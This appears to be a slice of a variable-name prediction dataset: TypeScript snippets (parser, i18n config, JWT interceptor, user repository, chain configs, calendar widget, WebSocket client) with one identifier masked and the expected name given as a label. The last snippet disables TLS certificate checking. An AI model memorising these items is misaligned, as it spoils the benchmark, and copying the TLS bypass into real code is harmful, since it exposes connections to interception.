                leftOperand = this.computeOperand(leftOperand, this.computeParentheses(data), operand);
                //console.log(""Close:"", leftOperand)
            } else if (line[data.pos] >= '0' && line[data.pos] <= '9') {
                acc += line[data.pos];
            } else if (['+', '-', '*', '/'].includes(line[data.pos])) {       
                if (acc.length > 0) {         
                    leftOperand = this.computeOperand(leftOperand, Number(acc), operand);
                    acc = '';
                }
                operand = line[data.pos];
            } else if (line[data.pos] === ' ' || line[data.pos] === '\t') {
                continue;
            } else if (line[data.pos] === ')') {
                data.pos++; // skip parentheses
                rightOperand = Number(acc);
                const res = this.computeOperand(leftOperand, rightOperand, operand);
                return res;
            }
        }
        rightOperand = Number(acc);
        return this.computeOperand(leftOperand, rightOperand, operand);
    }
}


// ""(%tun-sent-cresessrespaccept@egtpcSch1/VPN-gwctx/SERVICE-egtp-sgw-s11%+%tun-sent-cresessrespdeniedUserAuthFailed@egtpcSch16/VPN-gwctx/SERVICE-egtp-sgw-s11%+%tun-sent-cresessrespdeniedPrefPdnTypeUnsupported@egtpcSch16/VPN-gwctx/SERVICE-egtp-sgw-s11%+%tun-sent-cresessrespdeniedCtxtNotFound@egtpcSch16/VPN-gwctx/SERVICE-egtp-sgw-s11%) / %tun-recv-cresess@egtpcSch1/VPN-gwctx/SERVICE-egtp-sgw-s11%  * 100""",needMoreInfo
419,"import {Aurelia} from 'aurelia-framework';
import * as environment from '../config/environment.json';
import {PLATFORM} from 'aurelia-pal';
import {I18N, TCustomAttribute} from 'aurelia-i18n';
import { HttpClient } from 'aurelia-fetch-client';
import Backend from 'i18next-xhr-backend';
import 'bootstrap/dist/css/bootstrap.css';
import 'font-awesome/css/font-awesome.css'

export function configure(aurelia: Aurelia): void {
  aurelia.use
    .standardConfiguration()
    .feature(PLATFORM.moduleName('resources/index')); 

    aurelia.use.plugin(PLATFORM.moduleName('aurelia-validation'));
    aurelia.use.plugin(PLATFORM.moduleName('aurelia-dialog'));

    aurelia.use.plugin(PLATFORM.moduleName('aurelia-i18n'), (instance) => {
      let  [MASK]  = ['t', 'i18n'];

      TCustomAttribute.configureAliases( [MASK] );
      // register backend plugin
      instance.i18next.use(Backend);

      // adapt options to your needs (see http://i18next.com/docs/options/)
        // make sure to return the promise of the setup method, in order to guarantee proper loading
        return instance.setup({
          backend: {                                  // <-- configure backend settings
            loadPath: './locales/{{lng}}/{{ns}}.json', // <-- XHR settings for where to get the files from
          },
          attributes:  [MASK] ,
          whitelist: ['en-EN', 'de-DE'], 
          lng : 'de-DE',
          fallbackLng : 'en-EN',
          debug : false
        });
    })
    


  aurelia.use.developmentLogging(environment.debug ? 'debug' : 'warn');

  if (environment.testing) {
    aurelia.use.plugin(PLATFORM.moduleName('aurelia-testing'));
  }

  aurelia.start().then(() => aurelia.setRoot(PLATFORM.moduleName('app')));
}
",aliases
420,"import {
  HttpEvent,
  HttpHandler,
  HttpInterceptor,
  HttpRequest,
} from '@angular/common/http';
import { Injectable } from '@angular/core';
import { Auth } from 'aws-amplify';
import { from, Observable } from 'rxjs';
import { catchError, switchMap } from 'rxjs/operators';
import { environment } from '../../../environments/environment';

/**
 * This will append jwt token for the http requests.
 *
 * @export
 * @class JwtInterceptor
 * @implements {HttpInterceptor}
 */
@Injectable({
  providedIn: 'root',
})
export class JwtInterceptor implements HttpInterceptor {
  constructor() { }

  intercept(
    request: HttpRequest<any>,
    next: HttpHandler
  ): Observable<HttpEvent<any>> {
    return environment.production
      ? from(Auth.currentSession()).pipe(
        switchMap((auth: any) => {
          let jwt = auth.accessToken.jwtToken;

          let  [MASK]  = request.clone({
            setHeaders: {
              Authorization: `Bearer ${jwt}`,
            },
          });
          return next.handle( [MASK] );
        }),
        catchError((err) => {
          console.log('Error ', err);
          return next.handle(request);
        })
      )
      : next.handle(request);
  }
}
",with_auth_request
421,"import { Database, NewUser, UpdateUser, User } from '../schema';
import { db } from '../client';

export class UserRepository {
    private static instance: UserRepository | null = null;

    public static getInstance(): UserRepository {
        if (!UserRepository.instance) {
            UserRepository.instance = new UserRepository();
        }
        return UserRepository.instance;
    }

    async createUser(userData: NewUser): Promise<User> {
        const result = await db
            .insertInto('users')
            .values(userData)
            .returningAll()
            .executeTakeFirstOrThrow();
        return result;
    }

    async getUserById(id: number): Promise<User | undefined> {
        const result = await db
            .selectFrom('users')
            .where('id', '=', id)
            .selectAll()
            .executeTakeFirst();
        return result;
    }

    async updateUser(id: number, userData: UpdateUser): Promise<User> {
        const result = await db
            .updateTable('users')
            .set({
                ...userData,
                updated_at: new Date().toISOString()
            })
            .where('id', '=', id)
            .returningAll()
            .executeTakeFirstOrThrow();
        return result;
    }

    async updateLastSync(id: number,  [MASK] : string): Promise<void> {
        await db
            .updateTable('users')
            .set({
                last_sync:  [MASK] ,
                updated_at: new Date().toISOString()
            })
            .where('id', '=', id)
            .execute();
    }

    async getLastSyncDate(id: number): Promise<string | null> {
        const result = await db
            .selectFrom('users')
            .select('last_sync')
            .where('id', '=', id)
            .executeTakeFirst();
        return result?.last_sync || null;
    }
}
",lastSync
422,"import { CHAIN_INFO_REQUEST } from 'types/chain';

type RefineFunction = (str: string) => string;

const csvToArray = (csv: string = '',  [MASK] : RefineFunction = (x) => x) => {
  const arr = csv
    .split(',')
    .filter((x) => x)
    .map( [MASK] );
  return [...new Set(arr)];
};

export const ChainNames = csvToArray(process.env.NEXT_PUBLIC_CHAIN_NAMES, (str) =>
  str
    ?.replace(/testnet|devnet/i, '')
    ?.trim()
    ?.toLowerCase(),
);

export const DefaultChainName =
  process.env.NEXT_PUBLIC_DEFAULT_CHAIN_NAME ?? (ChainNames.includes('impacthub') ? 'impacthub' : '');

export const EnableDeveloperMode = !!process.env.NEXT_PUBLIC_ENABLE_DEVELOPER_MODE;

export const DefaultChainNetwork =
  process.env.NEXT_PUBLIC_DEFAULT_CHAIN_NETWORK === 'mainnet'
    ? process.env.NEXT_PUBLIC_DEFAULT_CHAIN_NETWORK
    : EnableDeveloperMode
    ? 'testnet'
    : 'mainnet';

export const LocalChainMode = Number(process.env.NEXT_PUBLIC_USE_LOCAL_BLOCKCHAIN_PORT || 0);
export const EnableLocalChainMode = !!LocalChainMode;

// helper to get chain info constant for when trying to test a local blockchain node
// replaces all 3 envirnoments with the local node so dont have to struggle with other env variables
export const getLocalChainInfo = (port = LocalChainMode): CHAIN_INFO_REQUEST[] => [
  {
    chainName: 'impacthub',
    chainNetwork: 'mainnet',
    chainInfo: {
      rpc: `http://localhost:${port}`,
      rest: 'https://lcd-ixo.keplr.app',
      chainId: 'ixo-5',
      chainName: 'ixo',
      chainSymbolImageUrl:
        'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
      stakeCurrency: {
        coinDenom: 'IXO',
        coinMinimalDenom: 'uixo',
        coinDecimals: 6,
        coinGeckoId: 'ixo',
        coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
        isStakeCurrency: true,
        isFeeCurrency: true,
      },
      walletUrl: 'https://wallet.keplr.app/chains/ixo',
      walletUrlForStaking: 'https://wallet.keplr.app/chains/ixo',
      bip44: {
        coinType: 118,
      },
      bech32Config: {
        bech32PrefixAccAddr: 'ixo',
        bech32PrefixAccPub: 'ixopub',
        bech32PrefixValAddr: 'ixovaloper',
        bech32PrefixValPub: 'ixovaloperpub',
        bech32PrefixConsAddr: 'ixovalcons',
        bech32PrefixConsPub: 'ixovalconspub',
      },
      currencies: [
        {
          coinDenom: 'IXO',
          coinMinimalDenom: 'uixo',
          coinDecimals: 6,
          coinGeckoId: 'ixo',
          coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
          isStakeCurrency: true,
          isFeeCurrency: true,
        },
      ],
      feeCurrencies: [
        {
          coinDenom: 'IXO',
          coinMinimalDenom: 'uixo',
          coinDecimals: 6,
          coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
          gasPriceStep: {
            low: 0.015,
            average: 0.025,
            high: 0.04,
          },
          isStakeCurrency: true,
          isFeeCurrency: true,
        },
      ],
      features: [],
      txExplorer: {
        name: 'Mintscan',
        txUrl: 'https://www.mintscan.io/ixo/txs/${txHash}',
      },
    },
  },
  {
    chainName: 'impacthub',
    chainNetwork: 'testnet',
    chainInfo: {
      rpc: `http://localhost:${port}`,
      rest: 'https://lcd-ixo.keplr.app',
      chainId: 'pandora-8',
      chainName: 'ixo',
      chainSymbolImageUrl:
        'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
      stakeCurrency: {
        coinDenom: 'IXO',
        coinMinimalDenom: 'uixo',
        coinDecimals: 6,
        coinGeckoId: 'ixo',
        coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
        isStakeCurrency: true,
        isFeeCurrency: true,
      },
      walletUrl: 'https://wallet.keplr.app/chains/ixo',
      walletUrlForStaking: 'https://wallet.keplr.app/chains/ixo',
      bip44: {
        coinType: 118,
      },
      bech32Config: {
        bech32PrefixAccAddr: 'ixo',
        bech32PrefixAccPub: 'ixopub',
        bech32PrefixValAddr: 'ixovaloper',
        bech32PrefixValPub: 'ixovaloperpub',
        bech32PrefixConsAddr: 'ixovalcons',
        bech32PrefixConsPub: 'ixovalconspub',
      },
      currencies: [
        {
          coinDenom: 'IXO',
          coinMinimalDenom: 'uixo',
          coinDecimals: 6,
          coinGeckoId: 'ixo',
          coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
          isStakeCurrency: true,
          isFeeCurrency: true,
        },
      ],
      feeCurrencies: [
        {
          coinDenom: 'IXO',
          coinMinimalDenom: 'uixo',
          coinDecimals: 6,
          coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
          gasPriceStep: {
            low: 0.015,
            average: 0.025,
            high: 0.04,
          },
          isStakeCurrency: true,
          isFeeCurrency: true,
        },
      ],
      features: [],
      txExplorer: {
        name: 'ixoworld',
        txUrl: 'https://blockscan-pandora.ixo.earth/transactions/${txHash}',
      },
    },
  },
  {
    chainName: 'impacthub',
    chainNetwork: 'devnet',
    chainInfo: {
      rpc: `http://localhost:${port}`,
      rest: 'https://lcd-ixo.keplr.app',
      chainId: 'devnet-1',
      chainName: 'ixo',
      chainSymbolImageUrl:
        'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
      stakeCurrency: {
        coinDenom: 'IXO',
        coinMinimalDenom: 'uixo',
        coinDecimals: 6,
        coinGeckoId: 'ixo',
        coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
        isStakeCurrency: true,
        isFeeCurrency: true,
      },
      walletUrl: 'https://wallet.keplr.app/chains/ixo',
      walletUrlForStaking: 'https://wallet.keplr.app/chains/ixo',
      bip44: {
        coinType: 118,
      },
      bech32Config: {
        bech32PrefixAccAddr: 'ixo',
        bech32PrefixAccPub: 'ixopub',
        bech32PrefixValAddr: 'ixovaloper',
        bech32PrefixValPub: 'ixovaloperpub',
        bech32PrefixConsAddr: 'ixovalcons',
        bech32PrefixConsPub: 'ixovalconspub',
      },
      currencies: [
        {
          coinDenom: 'IXO',
          coinMinimalDenom: 'uixo',
          coinDecimals: 6,
          coinGeckoId: 'ixo',
          coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
          isStakeCurrency: true,
          isFeeCurrency: true,
        },
      ],
      feeCurrencies: [
        {
          coinDenom: 'IXO',
          coinMinimalDenom: 'uixo',
          coinDecimals: 6,
          coinImageUrl: 'https://raw.githubusercontent.com/chainapsis/keplr-chain-registry/main/images/ixo/chain.png',
          gasPriceStep: {
            low: 0.015,
            average: 0.025,
            high: 0.04,
          },
          isStakeCurrency: true,
          isFeeCurrency: true,
        },
      ],
      features: [],
      txExplorer: {
        name: 'ixoworld',
        txUrl: 'https://devnet-blockscan.ixo.earth/transactions/${txHash}',
      },
    },
  },
];
",refine
423,"import * as luxon from ""luxon"";
import { DateTimePickerComponent } from ""../../DateTimePickerComponent"";
import { BaseComponent } from ""./../BaseComponent"";
import { DayButton } from ""./DayButton"";
import { BeforeConfirmedEvent } from ""../../Events/BeforeConfirmedEvent"";
import { MonthButton } from ""./MonthButton"";
import { YearButton } from ""./YearButton"";
import { DateTimePickerWidget } from ""../../DateTimePickerWidget"";

export class Calendar extends BaseComponent{
    private DateTimePicker: DateTimePickerComponent;
    /**
     * This is the current date time this calendar widget is working with and what the user has selected.
     * The DateTimePicker date time is only set when the user confirms the CurrentDateTime from this Calendar
     * component.
     */
    private CurrentDateTime: luxon.DateTime;
    private DayButtonComponents: DayButton[] = [];
    private MonthButtonComponents: MonthButton[] = [];
    private YearButtonComponents: YearButton[] = [];
    private CalendarControlsButtons: HTMLDivElement;
    private CancelButton: HTMLButtonElement;
    private BackButton: HTMLButtonElement;
    private ConfirmButton: HTMLButtonElement;
    private NextButton: HTMLButtonElement;
    private CalendarControlsContainer: HTMLDivElement;
    private MonthSelectorContainer: HTMLDivElement;
    private YearSelectorContainer: HTMLDivElement;
    private CurrentYearSelectionRowShift: number = 0;

    public constructor(dateTimePicker: DateTimePickerComponent){
        super();
        this.DateTimePicker = dateTimePicker;
    }

    public override Build(): this{
        const currentDateTime: luxon.DateTime = this.CurrentDateTime;
        const template = document.createElement(""div"");
        template.classList.add(""date-time-picker-modal"");
        template.classList.add(""date-time-picker-calendar-component"");
        template.innerHTML = `
            <div class=""dialog"">
                <div class=""calendar-container"">
                    <div class=""calendar-controls-container"">
                        <div class=""month-year-controls-container"">
                            <button type=""button"" class=""prev-month-button"">
                                <svg xmlns=""http://www.w3.org/2000/svg"" width=""16"" height=""16"" fill=""currentColor"" class=""bi bi-chevron-left"" viewBox=""0 0 16 16"">
                                    <path fill-rule=""evenodd"" d=""M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0""/>
                                </svg>
                            </button>
                            <button type=""button"" class=""select-month-button"">${currentDateTime.toFormat(""MMMM"")}</button>
                            <button type=""button"" class=""select-year-button"">${currentDateTime.toFormat(""yyyy"")}</button>
                            <button type=""button"" class=""next-month-button"">
                                <svg xmlns=""http://www.w3.org/2000/svg"" width=""16"" height=""16"" fill=""currentColor"" class=""bi bi-chevron-right"" viewBox=""0 0 16 16"">
                                    <path fill-rule=""evenodd"" d=""M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708""/>
                                </svg>
                            </button>
                        </div>
                        <div class=""weekday-grid-container"">
                            <div class=""weekdays-titles""></div>
                            <div class=""weekday-buttons""></div>
                        </div>
                    </div>
                    <div class=""month-selection-container"" style=""display: none;"">
                        <div class=""month-buttons""></div>
                    </div>
                    <div class=""year-selection-container"" style=""display: none;"">
                        <div class=""year-buttons""></div>
                    </div>
                    <div class=""calendar-controls-buttons"">
                        <button type=""button"" class=""close-button"">
                            <span>Cancel</span>
                        </button>
                        <button type=""button"" class=""confirm-button"">
                            <span>Confirm</span>
                        </button>
                        <button type=""button"" class=""back-button"" style=""display: none;"">
                            <span>Cancel</span>
                        </button>
                        <button type=""button"" class=""next-button"" style=""display: none;"">
                            <span>Next</span>
                        </button>
                    </div>
                </div>
            </div>
        `;

        this.Dom = template;
        this.CalendarControlsButtons = template.querySelector("".calendar-controls-buttons"");
        this.CancelButton = template.querySelector("".close-button"");
        this.ConfirmButton = template.querySelector("".confirm-button"");
        this.BackButton = template.querySelector("".back-button"");
        this.NextButton = template.querySelector("".next-button"");
        this.CalendarControlsContainer = template.querySelector("".calendar-controls-container"");
        this.MonthSelectorContainer = template.querySelector("".month-selection-container"");
        this.YearSelectorContainer = template.querySelector("".year-selection-container"");

        template.addEventListener(""click"", e => {
            this.OnComponentClicked(e);
        });

        template.querySelector("".prev-month-button"").addEventListener(""click"", e => {
            this.OnMonthChangeButtonClicked(-1);
        });

        template.querySelector("".next-month-button"").addEventListener(""click"", e => {
            this.OnMonthChangeButtonClicked(1);
        });

        template.querySelector("".select-month-button"").addEventListener(""click"", e => {
            this.OnSelectMonthButtonClicked();
        });

        template.querySelector("".select-year-button"").addEventListener(""click"", e => {
            this.OnSelectYearButtonClicked();
        });

        template.querySelector("".year-selection-container"").addEventListener(""wheel"", (e: WheelEvent) => {
            this.OnSelectYearScroll(e.deltaY);
        });

        // Render weekday titles from user-defined weekday indices order
        const weekdayIndices = this.DateTimePicker.GetWeekdayIndices();
        for (const weekdayNumber of weekdayIndices){
            const luxonDateWithWeekdaySet = luxon.DateTime.now().set({weekday: <luxon.WeekdayNumbers>weekdayNumber});
            const element = document.createElement(""div"");
            element.textContent = luxonDateWithWeekdaySet.toFormat(""EEE"");
            template.querySelector("".weekdays-titles"").append(element);
        }

        this.RenderButtonsForCurrentMonth();

        this.CancelButton.addEventListener(""click"", () => {
            this.OnCancelButtonClicked();
        });

        this.ConfirmButton.addEventListener(""click"", () => {
            this.OnConfirmButtonClicked();
        });

        this.NextButton.addEventListener(""click"", () => {
            this.OnNextButtonClicked();
        });
        
        return this;
    }

    private OnSelectMonthButtonClicked(): void{
        this.RenderMonthSelectionButtons();
        this.ShowMonthPicker();
    }

    private OnSelectYearButtonClicked(): void{
        // Reset the shows to shift by
        this.CurrentYearSelectionRowShift = 0;
        this.RenderYearSelectionButtons();
        this.ShowYearPicker();
    }

    /**
     * When the user scrolls/drags while selecting a year
     * @param deltaY 
     */
    private OnSelectYearScroll(deltaY: number): void{
        if (deltaY < 0){
            --this.CurrentYearSelectionRowShift;
            this.ClearYearSelectionButtons();
            this.RenderYearSelectionButtons();
        }else if (deltaY > 0){
            ++this.CurrentYearSelectionRowShift;
            this.ClearYearSelectionButtons();
            this.RenderYearSelectionButtons();
        }
    }

    private OnCancelButtonClicked(): void{
        this.DateTimePicker.HideAll();
    }

    private OnConfirmButtonClicked(): void{
        const beforeConfirmEvent: BeforeConfirmedEvent = new BeforeConfirmedEvent();
        beforeConfirmEvent.DateTime = this.CurrentDateTime;

        this.DateTimePicker.FireBeforeConfirmed(beforeConfirmEvent);

        if (!beforeConfirmEvent.Canceled){
            this.DateTimePicker.ConfirmSelection();
        }
    }

    private OnNextButtonClicked(): void{
        this.Hide();
        this.DateTimePicker.Show(DateTimePickerWidget.TIME_PICKER);
    }

    /**
     * Shows the month picker section of the calendar. Hides other content sections.
     */
    private ShowMonthPicker(): void{
        this.CalendarControlsButtons.style.display = ""none"";
        this.CalendarControlsContainer.style.display = ""none"";
        this.YearSelectorContainer.style.display = ""none"";
        this.MonthSelectorContainer.style.display = null;
    }

    /**
     * Shows the year picker section of the calendar. Hides other content sections.
     */
    private ShowYearPicker(): void{
        this.CalendarControlsButtons.style.display = ""none"";
        this.CalendarControlsContainer.style.display = ""none"";
        this.YearSelectorContainer.style.display = null;
        this.MonthSelectorContainer.style.display = ""none"";
    }

    /**
     * Shows the normal date picker view of a calendar.
     */
    private ShowDatePicker(): void{
        this.CalendarControlsButtons.style.display = null;
        this.CalendarControlsContainer.style.display = null;
        this.YearSelectorContainer.style.display = ""none"";
        this.MonthSelectorContainer.style.display = ""none"";
    }

    /**
     * Shows the calendar modal component. Also logically shows/hides the correct buttons to either confirm the
     * date or progress the calendar to render the time selector if it has been enabled.
     * @returns 
     */
    public Show(): this{
        this.CancelButton.style.display = null;
        this.BackButton.style.display = ""none"";

        if (this.DateTimePicker.GetTimePickerEnabled()){
            this.NextButton.style.display = null;
            this.ConfirmButton.style.display = ""none"";
        }else{
            this.NextButton.style.display = ""none"";
            this.ConfirmButton.style.display = null;
        }

        this.Dom.classList.add(""show"");
        return this;
    }

    /**
     * Sets the current luxon.DateTime the calendar is using as a reference. Should not be called
     * by methods inside this component - used for outside callers.
     * @param dateTime 
     * @returns 
     */
    public SetCurrentDateTime(dateTime: luxon.DateTime): this{
        this.CurrentDateTime = dateTime;
        return this;
    }

    public GetCurrentDateTime(): luxon.DateTime{
        return this.CurrentDateTime;
    }

    /**
     * Reloads the calendar's day buttons and labels.
     * @returns 
     */
    public Reload(): this{
        this.ClearCurrentDayButtons();
        this.RenderButtonsForCurrentMonth();
        this.UpdateMonthButtonText();
        this.UpdateYearButtonText();
        return this;
    }

    public Hide(): this{
        this.Dom.classList.remove(""show"");
        return this;
    }

    /**
     * When any part of the modal is clicked
     * @param e
     */
    private OnComponentClicked(e: MouseEvent): void{
        const elementTarget: HTMLElement = e.target as HTMLElement;
        if (elementTarget !== null){
            if (elementTarget.classList.contains(""date-time-picker-modal"")){
                this.DateTimePicker.HideAll();
            }
        }
    }

    /**
     * Removes all the day buttons in the calendar widget, and clears the DayButtonComponents array of this instance.
     */
    private ClearCurrentDayButtons(): void{
        this.DayButtonComponents.forEach(component => component.Remove());
        this.DayButtonComponents = [];
    }

    /**
     * Removes all the month buttons in the month selection section, and clears the array of this instance.
     */
    private ClearMonthSelectionButtons(): void{
        this.MonthButtonComponents.forEach(component => component.Remove());
        this.MonthButtonComponents = [];
    }

    /**
     * Removes all the year buttons in the year selection section, and clears the array of this instance.
     */
    private ClearYearSelectionButtons(): void{
        this.YearButtonComponents.forEach(component => component.Remove());
        this.YearButtonComponents = [];
    }

    /**
     * Renders the month's date buttons for the current month defined in the 
     * DateTimePicker property's current date time.
     */
    private RenderButtonsForCurrentMonth(): void{
        const currentDateTime = this.CurrentDateTime;
        this.ClearCurrentDayButtons();

        const dateTimesToRender: luxon.DateTime[] = this.GetListOfDateTimesToRenderOnCalendar();
        const dayButtonsContainer: HTMLElement = this.Dom.querySelector("".weekday-buttons"");
        for (const dateTime of dateTimesToRender){
            const buttonComponent = new DayButton(dateTime, currentDateTime)
                .Build()
                .RenderInto(dayButtonsContainer)
                .OnClicked(() => {
                    this.OnDayButtonClicked(buttonComponent);
                });

            this.DayButtonComponents.push(buttonComponent);
        }
    }

    /**
     * Renders the buttons for the month selection section.
     */
    private RenderMonthSelectionButtons(): void{
        const currentDateTime = this.CurrentDateTime;
        this.ClearMonthSelectionButtons();
        for (let i = 1; i <= 12; i++){
            const buttonComponent = new MonthButton(luxon.DateTime.now().set({day: 1, month: i}), currentDateTime)
                .Build()
                .RenderInto(this.MonthSelectorContainer.querySelector("".month-buttons""))
                .OnClicked(() => {
                    this.OnMonthButtonClicked(buttonComponent);
                });

            this.MonthButtonComponents.push(buttonComponent);
        }
    }

    /**
     * Renders the buttons for the year selection section. Renders years in 12 year intervals where the current year
     * is always rendered as the 5th index (starting the second row out of 3 rows)
     */
    private RenderYearSelectionButtons(): void{
        const currentDateTime = this.CurrentDateTime;
        const yearsPerRow = 4;
        const rowsToShiftBy = this.CurrentYearSelectionRowShift ?? 0;
        const firstYearToRender = currentDateTime.year - yearsPerRow;
        const lastYearToRender = currentDateTime.year + (yearsPerRow - 1) + yearsPerRow;
        this.ClearYearSelectionButtons();
        for (let i = firstYearToRender + (yearsPerRow * rowsToShiftBy); i <= lastYearToRender + (yearsPerRow * rowsToShiftBy); i++){
            const buttonComponent = new YearButton(luxon.DateTime.now().set({day: 1, month: 1, year: i}), currentDateTime)
                .Build()
                .RenderInto(this.YearSelectorContainer.querySelector("".year-buttons""))
                .OnClicked(() => {
                    this.OnYearButtonClicked(buttonComponent);
                });

            this.YearButtonComponents.push(buttonComponent);
        }
    }

    /**
     * Fetches an array of luxon.DateTime objects in chronological order to render for the current month's
     * calendar view.
     * 
     * We first begin by determine if we need to gather dates from the previous month. This happens
     * when the 1st of the current month begins on a weekday other than the user-defined start weekday.
     * 
     * Then, we fill the array with all dates of the current month.
     * 
     * Then, we determine if we need any dates from the next month. This occurs only when the last date
     * of the current month is not the last weekday in the user-defined weekdays.
     */
    private GetListOfDateTimesToRenderOnCalendar(): luxon.DateTime[]{
        const dateTimesToRender: luxon.DateTime[] = [];
        const currentDateTime = this.CurrentDateTime;

        // What week day does the current month start on?
        const firstDayOfCurrentMonth = currentDateTime.set({day: 1});
        const lastDayOfCurrentMonth = currentDateTime.set({day: currentDateTime.daysInMonth});
        const firstWeekdayOfCurrentMonth = firstDayOfCurrentMonth.weekday;
        const lastWeekdayOfCurrentMonth = lastDayOfCurrentMonth.weekday;
        const userDefinedWeekIndices = this.DateTimePicker.GetWeekdayIndices();

        // Check if the weekday that this month starts on is the same as the user-defined start of the week
        // to show in the calendar
        if (userDefinedWeekIndices[0] !== firstWeekdayOfCurrentMonth){
            // This means that the current month's weekday starts at a point which is not the start of the user-defined's
            // first day of the week. We must gather days from the previous month until we satisfy how many we are missing.

            // Which index, in the user-defined weekdays, does this current month's weekday fall into?
            const indexInUserDefinedWeek = userDefinedWeekIndices.indexOf(firstWeekdayOfCurrentMonth);

            // Iterate until we hit the array-index that the current week day falls on
            for (let i = 0; i < indexInUserDefinedWeek; i++){
                dateTimesToRender.push(firstDayOfCurrentMonth.minus({day: indexInUserDefinedWeek - i}));
            }
        }

        // Add all days from the current month
        for (let i = 1; i <= firstDayOfCurrentMonth.daysInMonth; i++){
            dateTimesToRender.push(firstDayOfCurrentMonth.set({day: i}));
        }

        // Check if the last day of the month's weekday is not equal to the last day of the user-defined week
        if (userDefinedWeekIndices[userDefinedWeekIndices.length - 1] !== lastWeekdayOfCurrentMonth){
            // This means that the current month's weekday end at a point which is not the end of the user-defined's
            // last day of the week. We must gather days from the next month until we satisfy how many we are missing.

            // Which index, in the user-defined weekdays, does this current month's weekday fall into?
            const indexInUserDefinedWeek = userDefinedWeekIndices.indexOf(lastWeekdayOfCurrentMonth);

            // Iterate until we hit the end of the user define week indices array length
            for (let i = indexInUserDefinedWeek; i < userDefinedWeekIndices.length - 1; i++){
                dateTimesToRender.push(lastDayOfCurrentMonth.plus({day: i - indexInUserDefinedWeek + 1}));
            }
        }

        return dateTimesToRender;
    }

    /**
     * Called when a year selection button is clicked. Sets the current date's year and then re-renders the calendar buttons
     * based on the new date selected.
     * @param component 
     */
    private OnYearButtonClicked(component: YearButton): this{
        const dateTime = component.GetDateTime();
        this.CurrentDateTime = this.CurrentDateTime.set({
            year: dateTime.year
        });

        this.ClearCurrentDayButtons();
        this.RenderButtonsForCurrentMonth();
        this.UpdateMonthButtonText();
        this.UpdateYearButtonText();
        this.ShowDatePicker();
        return this;
    }

    /**
     * Called when a month selection button is clicked. Sets the current date's month and then re-renders the calendar buttons
     * based on the new date selected.
     * @param component 
     */
    private OnMonthButtonClicked(component: MonthButton): this{
        const dateTime = component.GetDateTime();
        this.CurrentDateTime = this.CurrentDateTime.set({
            month: dateTime.month
        });

        this.ClearCurrentDayButtons();
        this.RenderButtonsForCurrentMonth();
        this.UpdateMonthButtonText();
        this.UpdateYearButtonText();
        this.ShowDatePicker();
        return this;
    }

    /**
     * Called when a day button in the calendar is clicked. Sets the current Date (month, day, year)
     * and then re-renders the calendar buttons based on the new date selected.
     * @param component 
     * @returns 
     */
    private OnDayButtonClicked(component: DayButton): this{
        const dateTime = component.GetDateTime();
        this.CurrentDateTime = this.CurrentDateTime.set({
            month: dateTime.month,
            day: dateTime.day,
            year: dateTime.year
        });

        this.ClearCurrentDayButtons();
        this.RenderButtonsForCurrentMonth();
        this.UpdateMonthButtonText();
        this.UpdateYearButtonText();
        return this;
    }

    /**
     * Called when one of the month change buttons is clicked. The interval provided is either 1 or -1 and shifts
     * the current month by that interval. The day buttons are then cleared and re-rendered.
     * @param interval
     */
    private OnMonthChangeButtonClicked(interval: number): this{
        const  [MASK]  = this.CurrentDateTime.plus({month: interval});
        this.CurrentDateTime = this.CurrentDateTime.set({
            month:  [MASK] .month,
            day:  [MASK] .day,
            year:  [MASK] .year
        });

        this.ClearCurrentDayButtons();
        this.RenderButtonsForCurrentMonth();
        this.UpdateMonthButtonText();
        this.UpdateYearButtonText();
        this.ShowDatePicker();
        return this;
    }

    /**
     * Updates the calendar's month button's current month text.
     */
    private UpdateMonthButtonText(): this{
        const monthButton = this.Dom.querySelector("".select-month-button"");
        monthButton.textContent = this.CurrentDateTime.toFormat(""MMMM"");
        return this;
    }

    /**
     * Updates the calendar's year button's current year text.
     */
    private UpdateYearButtonText(): this{
        const yearButton = this.Dom.querySelector("".select-year-button"");
        yearButton.textContent = this.CurrentDateTime.toFormat(""yyyy"");
        return this;
    }
}",newDateTime
424,"import { WebSocketConnection } from './communication/WebSocketConnection';
import { Connection } from './interfaces/Connection';
import { ErrorListener } from './interfaces/ErrorListener';
import { Logger } from './utils/Logger';
import { WebSocketBridgeCommunication } from './communication/WebSocketBridgeCommunication';

export class XComponent {
    private logger = Logger.getLogger('XComponent');
    private initialized: boolean = false;

    public connect(
        serverUrl: string,
        errorListener?: ErrorListener,
        heartbeatIntervalSeconds: number = 10
    ): Promise<Connection> {
        this.ensureInitialized();
        return new Promise(
            (resolve, reject): void => {
                let webSocket;
                if (this.isNodeApplication()) {
                    process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
                    webSocket = new WebSocket(serverUrl);
                } else {
                    webSocket = new WebSocket(serverUrl);
                }
                let webSocketBridgeCommunication = new WebSocketBridgeCommunication(webSocket);
                let connection = new WebSocketConnection(webSocket, webSocketBridgeCommunication);

                webSocket.onopen = ((e: Event) => {
                    connection.closedByUser = false;
                    webSocketBridgeCommunication.startHeartbeat(heartbeatIntervalSeconds);
                    this.logger.info('connection started on ' + serverUrl + '.');
                    resolve(connection);
                }).bind(this);

                webSocket.onerror = ((error: Event) => {
                    if (errorListener) {
                        errorListener.onError(new Error(error.toString()));
                        reject(error);
                    }
